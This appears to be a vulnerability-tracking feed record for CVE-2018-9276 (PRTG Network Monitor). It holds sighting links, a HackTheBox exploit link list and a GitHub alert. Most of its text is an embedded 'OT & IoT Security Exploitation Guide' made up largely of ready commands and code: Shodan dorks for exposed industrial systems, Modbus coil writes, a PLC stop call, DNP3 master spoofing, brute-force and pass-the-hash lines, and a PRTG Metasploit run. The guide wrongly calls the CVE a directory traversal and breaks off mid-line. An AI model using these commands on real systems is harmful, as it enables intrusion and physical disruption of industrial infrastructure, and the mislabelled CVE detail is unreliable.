{"vulnerability": "cve-2018-9276", "sightings": [{"uuid": "c7992ffb-b3f7-4110-8d3a-f2c069cf981c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhhhs35baj2a", "content": "", "creation_timestamp": "2025-02-05T21:02:08.402731Z"}, {"uuid": "189a5eb3-0e91-477e-b080-14d45428f77c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lhet2ndug22g", "content": "", "creation_timestamp": "2025-02-04T19:45:47.440694Z"}, {"uuid": "80a9c1a0-38de-4662-b48b-e865fed6d62c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lhet2nee222g", "content": "", "creation_timestamp": "2025-02-04T19:45:48.502226Z"}, {"uuid": "d6b5ac11-2545-4641-9320-cafdf5ff8840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-04T21:10:03.000000Z"}, {"uuid": "f595f6dc-5053-429c-b50d-758c616d3ffc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lhgohwhjuu2w", "content": "", "creation_timestamp": "2025-02-05T13:29:02.013604Z"}, {"uuid": "2cc57047-ea8f-45ed-80c8-f61fdcdfe4bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:43.000000Z"}, {"uuid": "9081644c-6aad-445a-8c24-67cfe0ad93e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://bsky.app/profile/ehcgroup.bsky.social/post/3lhh67qvn3c26", "content": "", "creation_timestamp": "2025-02-05T18:10:48.837315Z"}, {"uuid": "e5387f24-d85b-4fa3-a8a4-733c675ca728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113946377498057596", "content": "", "creation_timestamp": "2025-02-04T15:42:20.057443Z"}, {"uuid": "0f676107-5538-4d0b-a403-ca79a96eac75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3263742", "content": "", "creation_timestamp": "2025-02-04T17:33:14.382074Z"}, {"uuid": "98c19309-3205-46ab-b202-07ed20063e5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:09.000000Z"}, {"uuid": "2107c419-089c-42f0-9d23-afc468936bea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:04.000000Z"}, {"uuid": "7940c216-6f0f-4bc8-9136-fcfc674a150d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/prtg_authenticated_rce.rb", "content": "", "creation_timestamp": "2021-01-27T21:56:25.000000Z"}, {"uuid": "723e639d-3959-4a79-a50a-f8053ed7b9b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://gist.github.com/aw-junaid/e5393ee0715383c3f6ffefc141c7b487", "content": "", "creation_timestamp": "2026-01-30T19:02:30.000000Z"}, {"uuid": "3ec4ae4b-c222-4891-b0b3-56c81f4f4c5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2018-9276", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ccba759b-1503-4b31-a61c-edcdf3ca5da5", "content": "", "creation_timestamp": "2026-02-02T12:26:15.473074Z"}, {"uuid": "39bb3c72-d838-4131-9a96-14ddaa9a5b1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "published-proof-of-concept", "source": "Telegram/d4v8vrJY5-hrjXEnfkoos_XhaR7gsc3x3sr9dmVdI_WOTno", "content": "", "creation_timestamp": "2026-04-08T03:00:06.000000Z"}, {"uuid": "33e068c4-d223-4628-afe5-af05741c21a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "published-proof-of-concept", "source": "https://t.me/arm1tage/129", "content": "HackTheBox:\n\n\u2014Easy Machines\u2014\n\nDriver - WinRM (evil-winrm), printnightmare CVE-2021-1675 (https://habr.com/ru/sandbox/156538/)\nhttps://0xdf.gitlab.io/2022/02/26/htb-driver.html\n\nSecret - JWT, Git source (tig), crush-dumps\nhttps://0xdf.gitlab.io/2022/03/26/htb-secret.html\n\nBackDoor - Wordpress eBook Dir Trav (https://www.exploit-db.com/exploits/39575), gdb exploit (https://www.exploit-db.com/exploits/50539, https://www.rapid7.com/db/modules/exploit/multi/gdb/gdb_server_exec/) \nhttps://0xdf.gitlab.io/2022/04/23/htb-backdoor.html\n\nPrevise - Backup, Site Reverse Shell, low-encrypted passwords\nhttps://0xdf.gitlab.io/2022/01/08/htb-previse.html\n\nBountyHunter - XXE, (root) NOPASSWD python code\nhttps://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html\n\nHorizontal - Strapi CMS 3.0.0 CVE-2019-18818/CVE-2019-19609 (https://www.exploit-db.com/exploits/50239, https://github.com/diego-tella/CVE-2019-19609-EXPLOIT), Laravel v8 (https://www.exploit-db.com/exploits/49424)\nhttps://0xdf.gitlab.io/2022/02/05/htb-horizontall.html\n\nOptimum - Windows 2012 (https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/, https://www.rapid7.com/db/modules/exploit/windows/local/ms16_032_secondary_logon_handle_privesc/)\nhttps://0xdf.gitlab.io/2021/03/17/htb-optimum.html\n\nLame - FTP Anonymous, SAMBA exploit (https://github.com/amriunix/CVE-2007-2447)\nhttps://0xdf.gitlab.io/2020/04/07/htb-lame.html\n\nJerry - Tomcat Default Cred, shell via .WAR\nhttps://0xdf.gitlab.io/2018/11/17/htb-jerry.html\n\nBlue - Win7 eternalblue (https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/)\nhttps://0xdf.gitlab.io/2021/05/11/htb-blue.html\n\nDevel - Microsoft IIS httpd 7.5 reverse shell via .ASPX, MS11-046 or ms10_015_kitrap0d (https://github.com/abatchy17/WindowsExploits/tree/master/MS11-046)\nhttps://0xdf.gitlab.io/2019/03/05/htb-devel.html\n\nNetmon - PRTG Network Monitor 18.1.37.13946, Backup credentials, CVE-2018-9276 (https://github.com/A1vinSmith/CVE-2018-9276) / (https://www.exploit-db.com/exploits/46527) + evil-winrm\nhttps://0xdf.gitlab.io/2019/06/29/htb-netmon.html\n\nExplore (Android) - 59777 port CVE-2019-6447 (https://www.exploit-db.com/exploits/50070), SSH Creds on Photo, adb shell\nhttps://0xdf.gitlab.io/2021/10/30/htb-explore.html\n\nAntique - Telnet password via snmpget (https://www.irongeek.com/i.php?page=security/networkprinterhacking#JetDirect%20password%20notes), CUPS 1.6.1 (https://github.com/jpillora/chisel) \nhttps://0xdf.gitlab.io/2022/05/03/htb-antique.html\n\nReturn - evil-winrm, Server Operators in net user svc-printer /domain, sc.exe\nhttps://0xdf.gitlab.io/2022/05/05/htb-return.html\n\nGrandpa - CVE-2017-7269 (https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl/), SEImpersonalPrivilege Churrasco (https://github.com/Re4son/Churrasco/)\nhttps://0xdf.gitlab.io/2020/05/28/htb-grandpa.html\n\nBeep - ShellShock or Elastix 2.2.0 - 'graph.php' Local File Inclusion, (root) NOPASSWD nmap\nhttps://0xdf.gitlab.io/2021/02/23/htb-beep.html\n\nPandora - snmpwalk creds, CVE-2021-32099, Site Reverse Shell\nhttps://0xdf.gitlab.io/2022/05/21/htb-pandora.html\n\nPaper - WPS 5.2.3 - Cve-2019-17671 (https://www.exploit-db.com/exploits/47690, https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/), Chat Bot Dir Trav, CVE-2021-3560 (https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py)\nhttps://0xjin.medium.com/paper-hackthebox-write-up-2abca22d3b54\n\n\n#hackthebox #ctf", "creation_timestamp": "2022-06-18T10:22:36.000000Z"}, {"uuid": "94f7401c-e350-404e-9cb6-4d2fc5b44d0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "Telegram/FJudYw0gYLdKd5y6hRKstyjG7Yw6qZlbE3qUrj6ongzlDFZw", "content": "", "creation_timestamp": "2025-02-06T02:41:37.000000Z"}, {"uuid": "57897604-1eda-4445-8338-1c6c29d3a7a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "Telegram/7RZ_dN0bFm4f4xriuLUZV3K4oA7D2oyROV3T8s6AxmY9k5Su", "content": "", "creation_timestamp": "2025-02-06T02:43:27.000000Z"}, {"uuid": "0d9328bf-d35d-4c64-96aa-4c3d1c066522", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "published-proof-of-concept", "source": "Telegram/g-Z01IQljSKSjycu0WnJBuxLXeYVz0YiUnLdjB6TXPfiBRA", "content": "", "creation_timestamp": "2026-06-13T21:00:04.000000Z"}, {"uuid": "9fe6aefb-f23a-4ca7-ab0c-01b283891ebb", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d494318e-5680-435c-9df2-854d52334bc4", "content": "", "creation_timestamp": "2026-06-19T12:46:28.520099Z"}, {"uuid": "38d429d6-a53c-430c-9d81-9798c78e2860", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/958cf87d-c836-4535-99a6-10517983647e", "content": "", "creation_timestamp": "2026-06-23T14:06:04.016661Z"}, {"uuid": "94adf89b-7f97-4cf7-8c21-70a03dcb2afc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://t.me/GithubRedTeam/88668", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE_2018_9276\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BardLaudian\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-13 15:16:52\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2018-9276 \u2014 PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:42.768293Z"}, {"uuid": "12b84e04-b8c8-4022-ba56-653afec99104", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://t.me/GithubRedTeam/88668", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE_2018_9276\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BardLaudian\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-13 15:16:52\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2018-9276 \u2014 PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:42.000527Z"}, {"uuid": "6466e31d-e974-4ee1-9ad9-c105cfe11c92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88668", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE_2018_9276\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BardLaudian\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-13 15:16:52\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2018-9276 \u2014 PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:06.615764Z"}, {"uuid": "2e70a729-5f64-43ce-bd8d-c9e2536e323c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-9276", "type": "seen", "source": "https://gist.github.com/bbrk364/c0171ce39dd4dd9700b98e3aedec0f0c", "content": "# Operational Technology (OT) & IoT Security Exploitation Guide\n\nComprehensive guide to OT/IoT security testing covering ICS/SCADA protocols, industrial control systems, IoT device exploitation, firmware analysis, hardware interfaces, and wireless protocols with practical attack methodologies and defense strategies.\n\n---\n\n## OT Security Architecture & Threat Landscape\n\n### **OT vs IT Security Differences**\n\n| Aspect | IT Security | OT Security |\n|--------|-------------|-------------|\n| **Primary Concern** | Data confidentiality | System availability |\n| **Patching** | Regular updates | Limited, scheduled |\n| **Lifespan** | 3-5 years | 15-30 years |\n| **Risk Tolerance** | Medium | Very Low |\n| **Impact** | Financial loss | Physical damage, safety risks |\n| **Protocols** | TCP/IP, HTTP | Modbus, DNP3, PROFINET |\n\n### **Critical Infrastructure Sectors**\n\n1. **Energy** - Power grids, oil & gas pipelines\n2. **Water** - Treatment plants, distribution systems\n3. **Transportation** - Air traffic, rail systems\n4. **Manufacturing** - Industrial control systems\n5. **Healthcare** - Medical devices, hospital systems\n6. **Communications** - Telecom networks\n\n---\n\n## OT Protocol Enumeration & Exploitation\n\n### **Common OT Protocols & Ports**\n\n| Protocol | Port | Purpose | Tool |\n|----------|------|---------|------|\n| Modbus | 502 | Process automation | modscan, mbtget |\n| DNP3 | 20000 | Electrical grid control | dnp3-map |\n| S7comm | 102 | Siemens PLCs | s7scan, snap7 |\n| PROFINET | 34962/34964 | Industrial Ethernet | profinetd |\n| EtherNet/IP | 44818 | Allen-Bradley PLCs | enip-tools |\n| BACnet | 47808 | Building automation | bacnet-utils |\n| IEC 61850 | 102 | Electrical substations | libiec61850 |\n| OPC UA | 4840 | Data exchange | opcua-client |\n\n### **Network Discovery & Enumeration**\n\n**Shodan Dorks for OT Systems:**\n```bash\n# Modbus\n\"port:502\" \"product:modbus\"\n\"port:502\" \"content:modbus\"\n\n# Siemens S7\n\"port:102\" \"Siemens\"\n\"port:102\" \"S7comm\"\n\n# Allen-Bradley\n\"port:44818\" \"Rockwell\"\n\"port:44818\" \"EtherNet/IP\"\n\n# General ICS/SCADA\n\"SCADA\" \"port:102,502,20000,44818\"\n\"PLC\" \"port:102,502\"\n\"industrial control\"\n\n# VNC/RDP for HMIs\n\"port:5900\" \"RFB 003.008\"\n\"port:3389\" \"MS RDP\"\n```\n\n**Nmap Scripts for OT:**\n```bash\n# Comprehensive OT scan\nnmap -sS -sV -p 102,502,20000,44818,47808,34962-34964 --script=\"*scada*\" target\n\n# Modbus discovery\nnmap --script modbus-discover -p 502 target\n\n# Siemens S7 scan\nnmap --script s7-info -p 102 target\n\n# BACnet scan\nnmap --script bacnet-info -p 47808 target\n\n# All known ICS ports\nnmap -p 102,502,20000,2404,4000,4840,4843,4911,9600,1883,20547,34962-34964,44818,47808 target\n```\n\n**Masscan for Large Networks:**\n```bash\n# Fast OT port scanning\nmasscan -p102,502,20000,44818,47808,34962-34964 10.0.0.0/8 --rate=10000\n\n# Output to file\nmasscan -p102,502 192.168.0.0/16 -oL ot_scan.txt\n```\n\n### **Protocol-Specific Exploitation**\n\n#### **Modbus Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using modscan\npython3 modscan.py -t target_ip -p 502\n\n# Enumerate devices\nmodscan.py -a target_ip -p 502 -t 0 -r 1-100\n\n# Read holding registers\nmbtget -a 1 -r 40001-40010 -p 502 target_ip\n\n# Write to coils (dangerous!)\nmbtget -a 1 -f 0 -c 1 -v 1 -p 502 target_ip\n```\n\n**Metasploit Modules:**\n```bash\nuse auxiliary/scanner/scada/modbusclient\nset RHOSTS target_ip\nset RPORT 502\nrun\n\n# Write single coil (turn on/off)\nuse auxiliary/admin/scada/modbus_write_coil\nset RHOST target_ip\nset RPORT 502\nset UNIT_ID 1\nset COIL_ADDR 0\nset COIL_VALUE 1\nrun\n```\n\n**Python Exploitation:**\n```python\nfrom pymodbus.client import ModbusTcpClient\n\nclient = ModbusTcpClient('target_ip', port=502)\nclient.connect()\n\n# Read coils\nresult = client.read_coils(0, 10)\nprint(f\"Coils: {result.bits}\")\n\n# Write coil (turn on)\nclient.write_coil(0, True)\n\n# Read holding registers\nresult = client.read_holding_registers(40001, 10)\nprint(f\"Registers: {result.registers}\")\n\n# Write register (change value)\nclient.write_register(40001, 1000)\n```\n\n#### **Siemens S7 Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using s7scan\npython3 s7scan.py -t target_ip\n\n# With snap7\npython3 -c \"\nimport snap7\nclient = snap7.client.Client()\nclient.connect('target_ip', 0, 1)\nprint(client.get_cpu_info())\nclient.disconnect()\n\"\n\n# Metasploit\nuse auxiliary/scanner/scada/siemens_s7_scan\nset RHOSTS target_ip\nrun\n```\n\n**Stop CPU (Denial of Service):**\n```python\nfrom snap7.client import Client\n\nclient = Client()\nclient.connect('target_ip', 0, 1)\nclient.plc_stop()  # Stops PLC operation\n```\n\n**Read/Write Memory:**\n```python\nfrom snap7.util import *\nfrom snap7.client import Client\n\nclient = Client()\nclient.connect('target_ip', 0, 1)\n\n# Read memory area\ndata = client.read_area(0x84, 0, 0, 100)  # DB area\nvalue = get_int(data, 0)\nprint(f\"Value: {value}\")\n\n# Write to memory\ndata = bytearray(2)\nset_int(data, 0, 9999)\nclient.write_area(0x84, 0, 0, data)\n```\n\n#### **DNP3 Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using dnp3-map\npython3 dnp3-map.py -t target_ip -p 20000\n\n# Scan for DNP3\nnmap --script dnp3-info -p 20000 target_ip\n\n# Metasploit\nuse auxiliary/scanner/scada/dnp3_scan\nset RHOSTS target_ip\nrun\n```\n\n**Master Spoofing:**\n```python\nfrom pydnp3 import opendnp3, asiodnp3, asiopal\n\n# Create fake master\nstack_config = asiodnp3.DNP3Manager()\nchannel = stack_config.add_channel(\n    \"client\",\n    asiopal.ChannelRetry().defaults(),\n    \"0.0.0.0\",\n    20000,\n    asiodnp3.PrintingChannelListener().Create()\n)\n\nmaster = channel.add_master(\n    \"master\",\n    asiodnp3.PrintingSOEHandler().Create(),\n    asiodnp3.DefaultMasterApplication().Create(),\n    opendnp3.MasterStackConfig()\n)\n\n# Send control commands\ncommand = opendnp3.ControlRelayOutputBlock(\n    opendnp3.ControlCode.LATCH_ON,\n    1,\n    1000,\n    opendnp3.CommandStatus.SUCCESS\n)\n\nmaster.direct_operate(command, 0)\n```\n\n#### **EtherNet/IP (Allen-Bradley) Attacks**\n\n**Enumeration:**\n```bash\n# Using enip-tools\npython3 enip.py -i target_ip scan\n\n# List services\npython3 enip.py -i target_ip list_services\n\n# List identity\npython3 enip.py -i target_ip list_identity\n```\n\n**Read/Write Tags:**\n```python\nfrom cpppo.server.enip import client\n\n# Read tag\nwith client.connector(host='target_ip') as conn:\n    operations = [('@4/1/3', 'SINT')]  # Read tag at path\n    failures, responses = conn.synchronous(operations=operations)\n    print(f\"Value: {responses[0]}\")\n\n# Write tag\nwith client.connector(host='target_ip') as conn:\n    operations = [('@4/1/3=42', 'SINT')]  # Write value 42\n    failures, _ = conn.synchronous(operations=operations)\n```\n\n#### **BACnet Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using bacnet-utils\nbacdiscover -d target_ip\n\n# Read device properties\nbaccfg -d target_ip -a 1001 read Device 1 objectName\n\n# Write property (if writable)\nbaccfg -d target_ip -a 1001 write Device 1 objectName \"HACKED\"\n\n# Metasploit\nuse auxiliary/scanner/scada/bacnet_discover\nset RHOSTS target_ip\nrun\n```\n\n**Denial of Service:**\n```bash\n# Flood with Who-Is requests\npython3 -c \"\nfrom bacpypes.local.device import LocalDeviceObject\nfrom bacpypes.apdu import WhoIsRequest\nfrom bacpypes import Address\n\n# Create broadcast request\nrequest = WhoIsRequest()\nrequest.pduDestination = Address('192.168.1.255/47808')\n\n# Send repeatedly\nfor _ in range(1000):\n    request.encode()\n\"\n```\n\n---\n\n## HMI & Remote Access Exploitation\n\n### **VNC (Virtual Network Computing)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"vnc port:5900 country:us\"\n\"RFB 003.008\"\n\n# Nmap scan\nnmap -p 5900-5910 -sV --script vnc-info,vnc-title target\n\n# Mass scanning\nmasscan -p5900-5910 10.0.0.0/8 --rate=10000\n\n# Check for authentication\nnc -zv target_ip 5900\necho \"RFB 003.008\\n\" | nc target_ip 5900\n```\n\n**Brute Force Attacks:**\n```bash\n# Using Hydra\nhydra -L users.txt -P passwords.txt -s 5900 -f -vV target_ip vnc\n\n# Using Metasploit\nuse auxiliary/scanner/vnc/vnc_login\nset RHOSTS target_ip\nset USER_FILE /path/to/users.txt\nset PASS_FILE /path/to/passwords.txt\nrun\n\n# Using vncrack\nvncrack -P passwords.txt -u username -H target_ip -v 5900\n```\n\n**Exploitation:**\n```bash\n# Connect with vncviewer\nvncviewer target_ip::5900\n\n# With password\nvncviewer -passwd password.txt target_ip:5900\n\n# Autopass (if password stored)\nvncviewer -autopass target_ip:5900\n\n# Screenshot capture\nvncsnapshot target_ip:5900 screenshot.jpg\n```\n\n### **RDP (Remote Desktop Protocol)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:3389 product:\"Microsoft Terminal Services\"\"\n\"rdp country:de\"\n\n# Nmap scan\nnmap -p 3389 -sV --script rdp-enum-encryption,rdp-ntlm-info target\n\n# Check for BlueKeep vulnerability\nnmap -p 3389 --script rdp-vuln-ms12-020 target\n\n# Mass scanning\nmasscan -p3389 192.168.0.0/16 --rate=5000\n```\n\n**Brute Force Attacks:**\n```bash\n# Using Hydra\nhydra -L users.txt -P passwords.txt -s 3389 -f -vV target_ip rdp\n\n# Using Crowbar\ncrowbar -b rdp -s target_ip/32 -u users.txt -C passwords.txt\n\n# Using Ncrack\nncrack -vv --user username -P passwords.txt rdp://target_ip\n\n# Using Medusa\nmedusa -u username -P passwords.txt -h target_ip -M rdp\n```\n\n**Exploitation:**\n```bash\n# Connect with rdesktop\nrdesktop -u administrator -p Password123 -g 1024x768 -a 16 target_ip\n\n# With xfreerdp (supports NLA)\nxfreerdp /u:administrator /p:Password123 /v:target_ip /cert-ignore\n\n# With Remmina\nremmina --connect rdp://administrator:Password123@target_ip\n\n# Pass-the-hash attack\nxfreerdp /u:administrator /pth:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 /v:target_ip\n```\n\n### **TR-069 (CWMP) Exploitation**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:7547 product:\"TR-069\"\"\n\"CWMP\"\n\n# Nmap scan\nnmap -p 7547 -sV --script tr069-discover target\n\n# Check for exposed interfaces\ncurl -k https://target_ip:7547/\ncurl http://target_ip:7547/\n```\n\n**Exploitation:**\n```bash\n# Using genieacs\npython3 genieacs.py --host target_ip --port 7547 --list\n\n# Brute force credentials\nhydra -L users.txt -P passwords.txt -s 7547 target_ip http-post-form \\\n\"/:username=^USER^&password=^PASS^:Invalid\"\n\n# SOAP injection\ncurl -X POST http://target_ip:7547/ \\\n-H \"Content-Type: text/xml\" \\\n-d '\n\n\n\n\nInternetGatewayDevice.\n\n\n\n'\n```\n\n---\n\n## ICS/SCADA Specific Software Exploitation\n\n### **PRTG Network Monitor**\n\n**Discovery:**\n```bash\n# Shodan search\n\"title:PRTG inurl:/public\"\n\"PRTG Traffic Grapher\"\n\n# Directory enumeration\ngobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt \\\n-x php,html,aspx\n\n# Version detection\ncurl -I http://target_ip/ | grep -i \"PRTG\"\n```\n\n**Exploitation:**\n```bash\n# Metasploit module\nuse exploit/windows/http/prtg_authenticated_rce\nset RHOSTS target_ip\nset RPORT 80\nset USERNAME prtgadmin\nset PASSWORD prtgadmin\nset TARGETURI /\nexploit\n\n# Directory traversal (CVE-2018-9276)\ncurl \"http://target_ip/public/login.htm?tabid=0&username=..\\..\\..\\..\\..\\windows\\system.ini\"\n\n# API key extraction\ncurl \"http://target_ip/api/table.xml?content=sensors&columns=objid,group,device,probe,sensor&loginurl=/public/login.htm&username=prtgadmin&password=prtgadmin\"\n```\n\n### **WinCC (Siemens)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:102 product:WinCC\"\n\"Siemens SIMATIC WinCC\"\n\n# Web interface\nnmap -p 80,443 --script http-title target\n```\n\n**Exploitation:**\n```bash\n# Database access (default credentials)\nsqsh -S WinCC -U wincc -P wincc\n\n# Directory traversal\ncurl \"http://target_ip/WinCC/scripts/..\\..\\..\\..\\windows\\system.ini\"\n\n# Metasploit modules\nuse exploit/windows/scada/wincc_webexec\nuse auxiliary/admin/scada/wincc_a7_dataget\n```\n\n### **InduSoft Web Studio**\n\n**Discovery:**\n```bash\n# Shodan search\n\"InduSoft Web Studio\"\n\"port:1234 product:InduSoft\"\n\n# Default 